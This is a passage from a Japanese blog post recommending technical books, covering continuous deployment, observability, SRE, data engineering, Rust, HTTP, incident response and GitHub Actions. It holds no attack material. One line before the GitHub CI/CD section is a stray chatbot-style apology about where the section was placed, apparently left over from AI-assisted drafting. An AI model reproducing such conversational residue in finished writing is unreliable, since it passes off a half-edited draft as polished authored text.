じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。Continuous Deployment「Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software 」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software (English Edition)作者:Servile, ValentinaO'Reilly MediaAmazon本書の理解をより深めるためには、「Grokking Continuous Delivery」との併読をお勧めします。この本は、継続的デリバリーの基本概念から実践的な実装まで、体系的に解説しています。特に、継続的デプロイメントへの段階的な移行プロセスや、組織文化の変革について、実践的な知見を提供してくれます。両書を読み進めることで、継続的デプロイメントの技術的側面と組織的側面の両方を包括的に理解することができます。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazonこちらの本は日本語版がリリースされています。入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie Wilsonオーム社Amazon本書は、単なる技術的な実装の解説に留まらず、プラットフォームエンジニアリングと開発プロセス全体を変革する可能性について深く掘り下げています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの重要な概念と、それらの実践的な適用方法について詳細な洞察を提供しています。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。人間は反復作業を得意としませんが、コンピューターシステムはこの種の作業に適しています。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、コードの品質管理やテスト戦略により高い要求を課すことの重要性も強調しています。強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。実践的な見地からも、本書は開発者が直面する現実的な課題に対する具体的な解決策を提供しています。各章は理論的な基礎から始まり、実際の適用例、そして起こりうる問題とその対処法まで、包括的に解説しています。特に、実際の組織がどのように継続的デプロイメントを導入し、成功を収めているかについての事例研究は、実務に直接活かせる貴重な知見となっています。本書を通じて、継続的デプロイメントが単なる技術的なツールではなく、組織全体の開発文化を変革し、ソフトウェア品質を向上させるための包括的なアプローチであることが理解できます。その実践は、開発効率の向上、リリース品質の改善、そして最終的には顧客満足度の向上につながります。Cloud Observability in Action「Cloud Observability in Action」は、クラウドネイティブ時代におけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。これは、神の視点でシステムを観察できるようになる、デジタル世界の第三の目を手に入れるようなものです。Cloud Observability in Action (English Edition)作者:Hausenblas, MichaelManningAmazonOpenTelemetry、Prometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。まるで高級な料理のレシピを、コンビニの食材だけで再現する魔法のような本です。著者の豊富な経験に基づくベストプラクティスが随所に盛り込まれ、参考URLも惜しみなく共有されています。システムの監視方法について、何百人もの先人たちが積み上げてきた叡智を一冊に凝縮したような贅沢な内容です。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。つまり、「システムの見える化」という名の文化革命の指南書とも言えるでしょう。本書を通じて、システムの内部状態を把握・推論する力を身につけることができます。これは、デジタルの迷宮で道に迷った開発者たちに、アリアドネの糸を提供するようなものです。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティを正しく理解し実践することができます。少なくとも、「エラーログを検索すれば何とかなる」という幻想から解放されることは間違いありません。本書は、複雑化するシステムの「見える化」を実現するための、実践的なガイドブックです。これを読まずにオブザーバビリティを始めるのは、暗闇の中でパズルを解こうとするようなものかもしれません。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Learning OpenTelemetry「Learning OpenTelemetry」は、可観測性という広大な領域に対する実践的な航海図といえます。本書の最も重要な貢献は、OpenTelemetryというテクノロジーを通じて、システムの可観測性をビジネス価値へと変換する具体的な方法論を提示している点です。Learning OpenTelemetry: Setting Up and Operating a Modern Observability System (English Edition)作者:Young, Ted,Parker, AustinO'Reilly MediaAmazon本書を読む際は、オブザーバビリティに関する以下の2冊との併読をお勧めします。まず「Observability Engineering」は、可観測性の基本概念から実践的な実装まで、より広い文脈で解説しています。特に、OpenTelemetryを含む様々な可観測性ツールの位置づけや、組織における可観測性の文化醸成について、包括的な視点を提供してくれます。両書を読み進めることで、技術的な実装の詳細と、より大きな戦略的文脈の両方を理解することができます。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO'Reilly MediaAmazonまた、「入門 監視」は、システム監視の基礎から応用まで、実践的な知見を提供してくれます。監視とオブザーバビリティの関係性、メトリクスの収集と分析、アラートの設計など、日々の運用に直結する知識を学ぶことができます。入門 監視 ―モダンなモニタリングのためのデザインパターン作者:Mike JulianオライリージャパンAmazon本書の特筆すべき点は、技術的深度、組織的展開、ビジネス価値という3つの視点を統合的に扱っていることです。技術面では、OpenTelemetryの内部アーキテクチャから実装の詳細まで、体系的な解説を提供しています。特に、トレース、メトリクス、ログの統合方法や、テレメトリパイプラインの設計については、実務で即座に活用できる具体的な知見が豊富です。組織面では、可観測性の導入を単なる技術導入ではなく、組織変革として捉える視点を提供しています。特に、Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸に基づく展開戦略は、組織の規模や成熟度に応じた柔軟なアプローチを可能にします。ビジネス面では、テレメトリデータを通じてビジネスの意思決定や改善につなげていく方法について、具体的な指針を示しています。私が実務を通じて特に共感したのは、本書の掲げる「Do no harm, break no alerts」という原則です。可観測性の向上は、既存のシステムや運用プロセスを破壊することなく、段階的に実現していくべきだという主張は、現場の実態に即した賢明なアプローチだと感じます。本書の構成も実践的です。各章は理論的な基礎から始まり、実装の詳細、そして運用上の考慮点へと展開されていきます。特に、各章末のケーススタディやベストプラクティスは、他組織の経験から学ぶ貴重な機会を提供してくれます。最後に、本書の結論部分で言及されている「可観測性の次のフロンティア」についても注目に値します。AIとの統合やテストとしての可観測性など、新しい可能性の提示は、この分野の今後の発展を考える上で重要な示唆を与えてくれます。OpenTelemetryの導入を検討している組織にとって、本書は単なる技術解説書以上の価値を持つ戦略的なガイドブックとなるでしょう。また、すでにOpenTelemetryを導入している組織にとっても、その活用方法を再考し、より高度な可観測性を実現するための有益な指針となることは間違いありません。こちらの本は日本語版がリリースされています。入門 OpenTelemetry ―現代的なオブザーバビリティシステムの構築と運用作者:Ted Young,Austin ParkerオライリージャパンAmazonBecoming SRE「Becoming SRE」は、SRE(Site Reliability Engineering)という職種に対する深い理解と実践的な洞察を提供する画期的な一冊です。本書は、個人がSREとしてのキャリアを築くための道筋と、組織がSREを導入・発展させるための戦略を包括的に解説しています。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O'Reilly MediaAmazonSREに関する書籍は数多く出版されていますが、本書の特筆すべき点は、その実践に基づいた具体性と実用性にあります。特に、他のSRE関連書籍が理論や理想的なプラクティスの解説に重点を置く傾向がある中、本書は現場で直面する現実的な課題とその解決策に焦点を当てています。例えば、Googleが提唱したSREの原則やプラクティスを、規模や成熟度の異なる組織でどのように適用していくかについて、具体的なステップとアプローチを示しています。また、SREとしてのキャリアパスや、組織内でのSRE文化の醸成方法など、実務者の視点に立った実践的なアドバイスが豊富に盛り込まれています。syu-m-5151.hatenablog.com本書の価値は、SREという職種を単なる技術的な役割としてではなく、組織の文化や価値観を形作る存在として捉えている点にあります。著者のDavid Blank-Edelman氏は、長年のSREとしての経験を基に、技術とビジネスの両面からSREの本質に迫っています。本書は3つのパートで構成されています。Part Iでは、SREの基本的な概念、文化、そしてマインドセットについて解説しています。特に注目すべきは、SREが目指すべき「適切な信頼性レベル」という考え方です。100%の信頼性を追求するのではなく、ビジネスの要求と照らし合わせながら、最適な信頼性レベルを見極めることの重要性が説かれています。Part IIは、個人がSREになるための具体的なステップを示しています。技術的なスキルセットはもちろん、コミュニケーション能力、問題解決力、そして失敗から学ぶ姿勢など、SREに求められる多面的な資質について詳細に解説されています。特筆すべきは、オンコール対応やインシデント管理といった実務的なトピックについても、豊富な事例とともに具体的なアドバイスが提供されている点です。Part IIIでは、組織としてSREを導入・発展させるための戦略が展開されています。SREの成功は、個々のエンジニアの努力だけでなく、組織全体のサポートと理解が不可欠だという著者の主張は説得力があります。特に興味深いのは、SREの組織的な成熟度を5つのステージで捉えるフレームワークです。各ステージの特徴と課題、そして次のステージへの移行に必要な施策が具体的に示されています。本書が特に強調しているのは、SREにおける「文化」の重要性です。モニタリング、自動化、インシデント対応といった技術的な実践も重要ですが、それらを支える組織文化がなければ、SREは真の力を発揮できません。データ駆動の意思決定、失敗から学ぶ姿勢、部門間の協働、これらの文化的要素をどのように育んでいくかについても、深い洞察が示されています。また、本書はSREの導入と成長における現実的な課題にも正面から向き合っています。技術的な障壁はもちろん、組織の抵抗、リソースの制約、文化の変革の難しさなど、SREが直面する様々な課題に対する具体的な対処法が提示されています。総じて本書は、SREを目指す個人にとってのキャリアガイドであると同時に、組織にとってのSRE導入・発展のロードマップとして機能する実践的な指南書です。著者の豊富な経験に基づくアドバイスは、SREという未知の領域に踏み出そうとする読者にとって、信頼できる道標となるはずです。こちらの本も日本語版がリリースされています。SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazonFundamentals of Data Engineering「Fundamentals of Data Engineering」は、データエンジニアリングの基礎から実践までを体系的に解説した包括的な一冊です。データエンジニアリングを「raw dataを取り込み、高品質で一貫性のある情報を生成するシステムとプロセスの開発、実装、維持」と定義し、その全容を詳細に説明しています。Fundamentals of Data Engineering: Plan and Build Robust Data Systems (English Edition)作者:Reis, Joe,Housley, MattO'Reilly MediaAmazon本書は4つのパートで構成されており、Part Iではデータエンジニアリングの基礎と構成要素、Part IIではデータエンジニアリングのライフサイクルの詳細、Part IIIではセキュリティとプライバシー、そして将来の展望を扱っています。特に、データ生成からストレージ、取り込み、変換、提供までの一連のライフサイクルについて、実践的な知見が豊富に盛り込まれています。著者たちは、特定のツールや技術に依存しない原則ベースのアプローチを採用しています。これにより、急速に変化するデータ技術の世界においても、長く有効な知識を提供することに成功しています。データエンジニアは、セキュリティ、データ管理、DataOps、データアーキテクチャ、オーケストレーション、ソフトウェアエンジニアリングの交差点に位置し、これらの要素を統合的に理解し活用する必要があることが強調されています。本書の特筆すべき点は、理論と実践のバランスが絶妙なことです。データエンジニアリングの基本原則を解説しながら、実際のシステム設計や運用における具体的な課題とその解決策も提示しています。また、クラウドファーストの時代におけるデータエンジニアリングの在り方についても深い洞察が示されています。セキュリティとプライバシーに関する章では、データエンジニアリングにおけるセキュリティの重要性と、具体的な実装方法が詳細に解説されています。GDPRなどの規制への対応や、データの匿名化、アクセス制御など、現代のデータエンジニアが直面する重要な課題がカバーされています。最後に、データエンジニアリングの将来に関する章では、業界の動向と今後の展望が示されています。クラウドスケールの「データOS」の出現や、リアルタイムデータ処理と機械学習の融合など、興味深い予測が述べられています。本書は、データエンジニアリングの世界で活躍したい技術者にとって、必携の一冊となるでしょう。体系的な知識の習得と実践的なスキルの向上に大いに役立つ内容となっています。こちらの本も日本語版がリリースされています。データエンジニアリングの基礎 ―データプロジェクトで失敗しないために作者:Joe Reis,Matt HousleyオライリージャパンAmazonTidy First?「Tidy First?」は、エクストリームプログラミングの考案者であり、ソフトウェアパターンの先駆者として知られるKent Beckによる、コードの整理整頓に関する画期的な一冊です。本書は、リファクタリングの新しい考え方として「Tidying(整理整頓)」という概念を提唱し、その実践的なアプローチを示しています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazonリファクタリングといえば「リファクタリング 既存のコードを安全に改善する」や「レガシーコードからの脱却」ですがこのリファクタリングの考え方をより小規模で実践的なアプローチへと発展させたものと言えるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonレガシーコードからの脱却 ―ソフトウェアの寿命を延ばし価値を高める9つのプラクティス作者:David Scott BernsteinオライリージャパンAmazon本書の核心は、「いつ、どこで、どのようにコードを整理するべきか」という実践的な問いに対する答えを提示している点です。特に注目すべきは、Tidyingをリファクタリングの部分集合として位置づけ、より小規模で安全な改善活動として定義している点です。本書は3つのパートで構成されています。Part 1: Tydingsでは、具体的な整理整頓の手法が示されています。変数名の調整や対称性の確保、不要なコードの削除など、小規模だが効果的な改善活動が詳しく解説されています。これらは、ボーイスカウトの原則(来たときよりも美しく)とも通じる考え方です。Part 2: Managingでは、Tidyingの実践的なマネジメントについて解説されています。特に重要なのは、機能開発の直前にTidyingを行うべきという提言です。これは、料理をする前にキッチンを整理整頓するのと同じように、本題に取り組む前に作業環境を整えることの重要性を示唆しています。また、Tidyingは1時間以内に完了できる規模に抑えるべきという具体的な指針も示されています。Part 3: Theoryでは、Tidyingの理論的な基盤が展開されています。特筆すべきは、経済的な観点からの分析です。NPV(正味現在価値)やオプション理論を用いて、Tidyingの投資対効果を説明しています。また、疎結合と高凝集というソフトウェアアーキテクチャの基本原則との関連も論じられています。また、ソフトウェア設計の基本原則をより深く理解するために、以下の2冊との併読をお勧めします。「Balancing Coupling in Software Design」は、システムの結合度に焦点を当て、モジュール性と複雑性のバランスを取るための実践的なガイドを提供しています。特に、結合度を単なる「悪いもの」としてではなく、システム設計における重要なツールとして捉え直す視点は、Tidyingの経済的価値の考え方と共鳴します。Balancing Coupling in Software Design: Universal Design Principles for Architecting Modular Software Systems (Addison-Wesley Signature Series (Vernon)) (English Edition)作者:Khononov, VladAddison-Wesley ProfessionalAmazonさらに、「A Philosophy of Software Design, 2nd Edition」は、ソフトウェア設計における複雑性の管理について、より哲学的な視点から考察を展開しています。この本は、モジュール分割の原則やインターフェース設計の考え方など、Tidyingの実践を支える理論的な基盤を補完してくれます。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazon本書の真価は、コードの整理整頓を、技術的な活動としてだけでなく、経済的な投資活動として捉える視点を提供している点です。これは、技術的な改善活動の必要性を経営層に説明する際の有効な理論的基盤となります。また、本書は3部作の第1巻として位置づけられており、個人、チーム、組織のレベルでの開発プラクティスを包括的に扱う野心的なプロジェクトの出発点となっています。私にとって、本書は技術的負債の管理に関する新しい視点を提供してくれました。特に、小規模な改善活動を継続的に行うことの重要性と、その活動の経済的な価値を理解する上で、貴重な指針となっています。本書で提唱されているTidyingの概念は、現代のソフトウェア開発における持続可能性の向上に大きく貢献する可能性を秘めています。技術的な改善と経済的な価値創造の両立を目指す実践的なアプローチとして、多くの開発者にとって有益な知見となるでしょう。こちらの本も日本語版がリリースされます。読んでないのですが定評のある翻訳者陣が担当しており、高品質な翻訳が期待できます。Tidy First? ―個人で実践する経験主義的ソフトウェア設計作者:Kent Beckオーム社Amazonソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかた「ソフトウェア開発現場の「失敗」集めてみた」は、開発現場でありがちな失敗を42の事例としてまとめ上げた、笑いと教訓が詰まった一冊です。本書の特徴は、各エピソードを4コマ漫画付きで紹介しながら、その失敗から学べる教訓と対策を実践的に解説している点にあります。ソフトウェア開発現場の「失敗」集めてみた。 42の失敗事例で学ぶチーム開発のうまい進めかた作者:出石 聡史翔泳社Amazon本書の真髄は、「失敗」を単なる戒めとしてではなく、成長のための貴重な学びの機会として提示している点です。例えば、「全部入りソフトウェア」や「八方美人仕様」といった事例は、読んでいて思わず苦笑してしまうものの、自分の過去や現在の案件と重ね合わせると背筋が凍るような リアルな内容となっています。特に印象的なのは、各失敗事例が企画、仕様、設計・実装、進捗管理、品質管理、リリース後という開発工程に沿って整理されている点です。これにより、どの段階でどのような落とし穴が待ち構えているのかを、体系的に理解することができます。本書の構成は非常に巧みです。各エピソードは、まず4コマ漫画で状況を分かりやすく説明し、続いて失敗の詳細な解説へと進みます。そして、なぜその失敗が起きるのかという原因分析を行い、最後にどうすれば防げるのかという具体的な対策を示すという流れで展開され、読者を笑いながら学びへと導いていきます。時には「あるある...」と共感し、時には「まさか自分も...」と冷や汗をかきながら、気づけば実践的な対策を学んでいられるという、絶妙な構成となっています。本書を読み進めていく中で、開発現場で日々直面する可能性のある様々な失敗のパターンが、読者の経験と重なりながら鮮やかに描き出されていきます。それぞれの事例は、読者が「ああ、これは...」と思わず身につまされるような、リアルな状況として描かれています。ここで思い出したのが、「達人プログラマー 第2版」です。この本もまた、ソフトウェア開発における失敗と成功の本質を深く掘り下げています。両書に共通するのは、失敗を恐れるのではなく、そこから学び、次につなげていく姿勢です。「達人プログラマー」が開発者としての哲学や普遍的な原則を説くのに対し、この本は現場での具体的な失敗事例とその対策に焦点を当てており、互いに補完し合う関係にあると言えるでしょう。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon本書の真価は、これらの失敗を「笑い」というクッションを通して提示することで、読者が防衛本能を働かせることなく、客観的に問題を理解し、解決策を考えられるようにしている点です。また、各事例に対する具体的な対策は、実務ですぐに活用できる実践的なものとなっています。私自身、本書を読みながら何度も「あ、これ...」と苦笑いしましたが、同時に「明日からこうしよう」という具体的なアクションプランも得ることができました。特に、チームリーダーやプロジェクトマネージャーにとって、この本は「失敗」という観点からプロジェクトを見直す貴重な機会を提供してくれます。本書は、開発現場の失敗から学ぶという姿勢を大切にしながら、その教訓を次の成功へとつなげていく道筋を示してくれる良書です。時には笑い、時には考え込み、そして明日からの行動を変えていく—そんな良い意味での「反省の書」といえるでしょう。プログラミングRust 第2版「プログラミングRust 第2版」は、Rustという言語の深い理解を導く羅針盤のような一冊です。本書は、システムプログラミングの本質に迫りながら、現代的な言語機能を体系的に解説するという野心的な試みに成功しています。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonこの本の特筆すべき点は、Rustの重要な概念を段階的に、かつ包括的に解説していることです。特に所有権とライフタイム、並行処理といったRustの特徴的な機能について、理論的な説明と実践的な例を絶妙なバランスで提供しています。これは、まるで高度な技術文書をコンパイラが最適化するように、複雑な概念を理解しやすい形に変換してくれる働きがあります。本書の構成は、基本的な言語機能から始まり、徐々により高度なトピックへと展開していきます。例えば、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が詳細に解説されています。これは、読者の理解度を段階的にスケールアップさせていく、よく設計されたアーキテクチャのようです。特に印象的なのは、本書がパフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から丁寧に解き明かしている点です。これは、高可用性システムの設計原則にも通じる、信頼性とパフォーマンスのトレードオフを実践的に学べる貴重な機会を提供しています。また、本書は2021年のRust Editionに対応しており、最新の言語機能や実践的なプログラミング手法が網羅されています。これは、まるで継続的デリバリーのパイプラインのように、最新の知識を読者に届けてくれます。実務的な観点からも、本書の価値は計り知れません。エラーハンドリング、テスト、デバッグといった実践的なトピックについても、深い洞察と具体的な実装例を提供しています。これらの知識は、本番環境でのRustプログラミングにおいて、インシデントを防ぎ、安定性を確保するための重要な基盤となります。本書は、単なる言語仕様の解説書を超えて、システムプログラミングの本質に迫る良書といえます。その内容は、Rustを学ぶ開発者にとって、強固な基盤となるインフラストラクチャを提供してくれることでしょう。私にとって、本書は技術書のデータセンターの中核を担うサーバーとして機能しています。新しい機能や概念に出会うたびに、本書に立ち返り、その本質的な理解を深めることができます。2025年に予定されているRust 2024 Editionのリリースに向けて、本書の次版がどのように進化していくのか、今から楽しみでなりません。Programming Rust: Fast, Safe Systems Development (English Edition)作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F. S.O'ReillyAmazonEffective Rust「Effective Rust」は、Rustのコンパイラが発する警告やエラーの深い理由を解き明かしてくれる、暗号解読書のような一冊です。本書は、単なる文法やパターンの解説を超えて、Rustの設計思想とその根底にある原理を探求することで、より深い理解と実践的なスキルの獲得を可能にします。Effective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO'Reilly MediaAmazon本書の真髄は、「なぜそのコードがコンパイラに拒否されるのか」という本質的な問いに対する答えを提供している点です。これは、まるでセキュリティ監査ツールのような役割を果たし、潜在的な問題を事前に検出し、より安全なコードへと導いてくれます。例えば、借用チェッカーとの「戦い」は、実はメモリ安全性を確保するための重要な対話であることを理解させてくれます。特筆すべきは、本書が型システムを通じたデザインパターンを詳細に解説している点です。これは、アプリケーションのアーキテクチャを型安全に設計するための青写真を提供してくれます。例えば、newtypeパターンの活用や、トレイトを用いた共通の振る舞いの表現など、型システムを活用した設計手法を学ぶことができます。また、本書はエラーハンドリングのベストプラクティスについて深い洞察を提供します。OptionやResult型の効果的な使用法から、独自のエラー型の設計まで、堅牢なエラー処理の体系を示してくれます。これは、まるで障害対策のプレイブックのような役割を果たします。実務的な観点からも、本書の価値は計り知れません。依存ライブラリの管理やツールチェーンの活用など、実践的なトピックについても詳しく解説されています。特に、Clippyとの対話を通じたコード品質の向上や、CIシステムの設定など、現代のソフトウェア開発に不可欠な知識が網羅されています。本書は、「とりあえず動く」コードから「より良い」コードへの進化を支援してよりイディオマティックなRustコードへの道筋を示してくれます。私にとって、本書は技術書のデータセンターにおける重要なセキュリティシステムとして機能しています。コードの品質と安全性を確保するためのチェックポイントとして、常に参照すべき存在となっています。特に、「なぜそうすべきか」という根本的な理解を深めることで、より効果的なRustプログラミングが可能になります。こちらの本も日本語版がリリースされています。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazonバックエンドエンジニアを目指す人のためのRust「バックエンドエンジニアを目指す人のためのRust」は、単なるRustの入門書を超えて、実践的なプロジェクトを通じてバックエンドエンジニアに必要な知識とスキルを体系的に学べる一冊です。本書は、「なぜバックエンドにRustなのか」という根本的な問いに、具体的なプログラミング体験を通じて答えを提示しています。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon「Webバックエンド開発にRustは不要ではないか?」という疑問に対して、本書は実践的な回答を提供します。Rustの型システムとコンパイラによる厳格なチェックは、本番環境での予期せぬエラーを事前に防ぐことができます。また、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能は、信頼性の高いバックエンドシステムの構築に直接的に貢献します。本書の構成は、学習者の段階的な成長を支援するように綿密に設計されています。計算クイズから始まり、ポーカーゲーム実装でデータ構造を学び、家計簿プログラムでファイルI/Oを理解し、最終的にはTODOアプリの開発とデプロイメントまでを経験できます。各プロジェクトは、バックエンド開発に必要な特定の技術要素に焦点を当てており、理論と実践を効果的に結びつけています。また、本書はCargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説しています。これらのツールは、チーム開発における生産性と品質の向上に直結する重要な要素です。本書を通じて学べる実践的なスキルは、現代のバックエンド開発の現場で直接活用できます。とりわけ、Webアプリケーション開発からデプロイメントまでの一連のプロセスを実際に体験できる点は、実務への橋渡しとして非常に価値があります。最終章では採用面接を想定した内容も含まれており、学習した内容を実際のキャリアにつなげる道筋も示されています。Real World HTTP 第3版「Real World HTTP 第3版」は、HTTPプロトコルの基礎から最新動向まで、体系的かつ実践的に解説した決定版です。本書は、HTTPの歴史的な進化をたどりながら、ブラウザの内部動作やサーバーとのやり取りについて、実例とコードを交えて詳細に解説しています。Real World HTTP 第3版 ―歴史とコードに学ぶインターネットとウェブ技術作者:渋川 よしきオライリージャパンAmazon本書は、辞書的に知りたい項目を調べるのにも、通して読んで体系的に学習するのにも適しています。特に注目すべきは、認証やセキュリティなど、開発者が苦手意識を持ちがちな領域についても、実践的な観点から詳しく解説している点です。サンプルコードはGoを使用していますが、これは動作確認や挙動の理解に焦点を当てたものです。実際の実装例を通じて、HTTPの基本的な仕組みから最新の機能まで、具体的に理解することができます。もう少し入門的な内容としては「[改訂新版]プロになるためのWeb技術入門」をオススメしたいです。10年以上にわたって多くの読者に支持されてきた本書はWebシステムの基礎から最新のSPAまで、体系的かつ段階的に学べる実践的な入門書です。本書は、なぜWebシステムをうまく作ることができないのかという根本的な問いに対して、技術の本質的な理解を通じて答えを導き出そうとしています。サンプルもどうようにGoですし、Goは本能さえあれば読めるので…。[改訂新版]プロになるためのWeb技術入門作者:小森 裕介技術評論社Amazonまた、実装やWeb技術を学べたと思ってアーキテクチャ設計を学ぶ準備が整った方には、「アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築」をお勧めします。本書は、アーキテクチャ設計の本質的な考え方から、実践的な構築手法までを体系的に解説していて入門にはぴったりです。アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築作者:米久保 剛翔泳社AmazonWeb技術やアーキテクチャについて検索エンジンやChatGPTで調べると、求めている答えにたどり着くまでに多くの時間がかかり、また得られる情報が断片的になりがちです。一方、良質な技術書は、その分野の知識を体系的に整理し、読者が見落としがちな重要なポイントも含めて包括的に解説してくれます。さらに、実践的な経験に基づく洞察や、背景にある原理の説明など、オンラインでは得にくい深い知見を提供してくれます。第3版では、より初学者を意識した導入や、スーパーアプリなどプラットフォーム化するウェブに関する新章が追加されています。また、HTTP/3とQUICなど最新の技術動向についても詳しく解説されています。本書の圧倒的な情報量は、単なるボリュームではなく、実務で本当に必要となる知識が凝縮されています。AWSやWebフレームワークでの開発スキルも重要ですが、真のWebエンジニアとして成長するためには、本書で解説されているような基盤となる知識の理解が不可欠です。学び直しにも最適な一冊であり、眺めるだけでも新しい発見が得られます。HTTPやWeb技術の深い理解を目指す若手エンジニアには、まさに必携の書といえるでしょう。【改訂新版】システム障害対応の教科書「システム障害対応の教科書」は、システム障害対応の暗黙知を形式知化し、体系的に解説した画期的な一冊です。本書は、インシデント発生から終息までの一連のプロセスを詳細に解説するだけでなく、組織としての障害対応力向上までを包括的にカバーしています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon改訂新版では、チームメンバーの教育と育成、障害対応訓練、事故を防ぐ手順書の作り方、エンドユーザ向け情報発信についての新章が追加され、より実践的な内容となっています。特に、ワークブック編の追加により、理論を実践に落とし込むための具体的な手法が提供されており、新人から中堅、マネージャーまで幅広い層に価値のある内容となっています。本書の真価は、システム障害対応における役割と基本動作の明確化にあります。インシデントコマンダー、作業担当者、ユーザ担当者など、各役割の責務と行動規範が詳細に解説されています。また、必要なドキュメントやツール、環境についても具体的な説明があり、すぐに実務に活かせる実践的な知識を得ることができます。特に注目すべきは、組織の障害対応レベル向上と体制作りに関する章です。障害対応力のスキルチェックシートや訓練の実施要領など、組織として継続的に改善していくための具体的な方法論が示されています。また、生成AI技術のシステム運用への応用についても言及されており、最新の技術動向も押さえられています。Appendixでは、実際の難易度の高いシステム障害ケースが紹介されており、ビジネスロジックの障害から大規模インフラ障害、災害時の対応まで、現実的なシナリオに基づいた学びを得ることができます。これらのケーススタディは、理論と実践を結びつける貴重な教材となっています。本書は、システム運用に関わるすべての人にとって、障害対応の基本から応用まで、体系的に学べる決定版といえます。新人エンジニアの教育から、中堅エンジニアのスキル向上、マネージャーの組織運営まで、幅広いニーズに応える内容となっています。運用であればAWS運用入門も今年読んで良かった本なのであわせて紹介しておきます。AWS運用入門 押さえておきたいAWSの基本と運用ノウハウ作者:佐竹 陽一,山﨑 翔平,小倉 大,峯 侑資SBクリエイティブAmazon申し訳ありません。GitHub CI/CD実践ガイドの章は前の章とは独立して新規に追加すべきでした。改めて追加させていただきます:GitHub CI/CD実践ガイド「GitHub CI/CD実践ガイド」は、持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用について、基礎から実践、そして応用まで体系的に解説した一冊です。本書は、単なるGitHub Actionsの使い方マニュアルを超えて、現代のソフトウェア開発における継続的インテグレーションと継続的デリバリーの本質に迫っています。GitHub CI/CD実践ガイド――持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用 エンジニア選書作者:野村 友規技術評論社Amazon本書の特徴は、その構成の緻密さにあります。基礎編では、GitHub Actionsの基本概念や構文を丁寧に解説し、実践編では具体的なユースケースに基づいた実装方法を示し、応用編では高度な使い方やセキュリティ、組織としての実践方法を展開しています。この段階的なアプローチにより、読者は自然と実践的なCI/CDの知識を積み上げていくことができます。特筆すべきは、本書がセキュリティと運用の観点を強く意識している点です。GitHub Actionsの基本的な使い方だけでなく、OpenID Connectによるセキュアなクラウド連携、Dependabotによる依存関係の管理、GitHub Appsによるクロスリポジトリアクセスなど、実運用で直面する重要な課題についても深く掘り下げています。本書が提供する知見は、現代のソフトウェア開発において不可欠な継続的デリバリーの実践へと読者を導きます。組織のパフォーマンス向上からバージョン管理戦略、テスト戦略、そしてインフラストラクチャの変更管理まで、包括的な視点でCI/CDの実践方法を解説しています。私にとって本書は、日々のCI/CD運用における信頼できるリファレンスとなっています。実装時の細かな疑問から、アーキテクチャレベルの設計判断まで、様々な場面で本書の知見が活きています。GitHubを利用する開発者にとって、この本は確実に実務の質を高めてくれる一冊となるでしょう。個人的にLearning GitHub Actionsが好きだったので日本語版のような書籍がでてきてくれて嬉しいです。Learning GitHub Actions: Automation and Integration of CI/CD with GitHub (English Edition)作者:Laster, BrentO'Reilly 